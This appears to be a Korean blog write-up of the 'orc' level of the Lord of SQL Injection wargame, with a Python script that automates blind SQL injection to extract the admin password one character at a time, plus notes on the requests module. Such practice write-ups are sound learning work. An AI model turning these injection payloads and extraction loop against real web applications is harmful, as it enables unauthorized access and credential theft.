오늘 포스팅은 예전에 했었던 Lord of SQL Injection 4단계를 다시 한번 풀어보도록 하겠습니다.
제가 그 글을 쓸 당시에는 Python을 전혀 몰라서 Blind SQL을 하나하나 노가다 하면서 풀었었는데,
이번에는 Python을 이용해서 쉽게 풀어보도록하겠습니다.
los 4번 orc 문제입니다.
파이썬을 사용하지 않고 하나하나 푸는 방법은 이 카테고리 4번째 글에 있습니다.
이 포스팅은 파이썬 코드짜는 것을 연습했고, 그것을 기록하는 포스팅이기 때문에
파이썬코드만 바로 보실게요.
import requests
url ='https://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php' #url 주소 입력
cookies = {'PHPSESSID': ''} # 세션 쿠키를 입력
def find_pw_len():
pw_len = 0
while 1:
pw_len=pw_len+1
value ="'or id='admin' and length(pw)= {} #".format(pw_len) #반복하면서 pw의 글자수를 비교하는 Payload 코드 작성
params={'pw' : value}
response = requests.get(url,params=params,cookies=cookies)
if("Hello admin" in response.text):
print("길이는? =",pw_len)
break
print("시도중 입니다!:",pw_len)
return pw_len
def find_pw():
pw_len=find_pw_len()
string=''
for pw_value in range(1,pw_len+1):
for ascii in range(48,122):
value ="'or id='admin' and ascii(substr(pw,{},1))= {}#".format(pw_value,ascii)
params = {'pw': value}
response = requests.get(url, params=params, cookies=cookies)
if("Hello admin" in response.text):
string =string + chr(ascii)
print("pw의 값은!",string)
break
find_pw()
소스를 조금 더 자세히 들여다보겠습니다.
제일 먼저 한것은 requests를 import 한 것 인데요.
Requests
requests 는 파이썬에서 HTTP requests(요청) 하는 모듈입니다.
response = requests.get(url,params=params,cookies=cookies)
requests 모듈을 사용하면 url과 params, cookies, header, timeout 등을 서버에 보낼 수 있습니다.
params={'pw' : value}
자료형이름 = { '파라미터' : ' 값 ', ' 파라미터2 ' : '값 2' ....}
과 같은 형태로 파라미터를 생성하여 보내줄 수 있습니다.
자주 사용하는 기능
response.status_code : 응답코드를 돌려줍니다.
response.url : 요청한 url을 확인 할 수 있습니다.
response.request : request 객체에 접근할 수 있습니다.
다음 포스팅은 다른 blind injection 문제를 대상으로 한
파이썬 코드글로 돌아오겠습니다!!
'Archive > Hacking' 카테고리의 다른 글
[ Bee-Box ] HTML Injection - Reflected(GET) (0) | 2020.03.27 |
---|---|
[ Bee-Box ] 비박스란? + Bee-Box 설치하기 (1) | 2020.03.23 |
[ Message Hooking ] Windows Message 처리 방법 (0) | 2020.03.21 |
[ Message Hooking ] Message Hooking 간단한 개요 (2) | 2020.03.20 |
[ WEB ] HTTP 상태 코드 (0) | 2020.03.18 |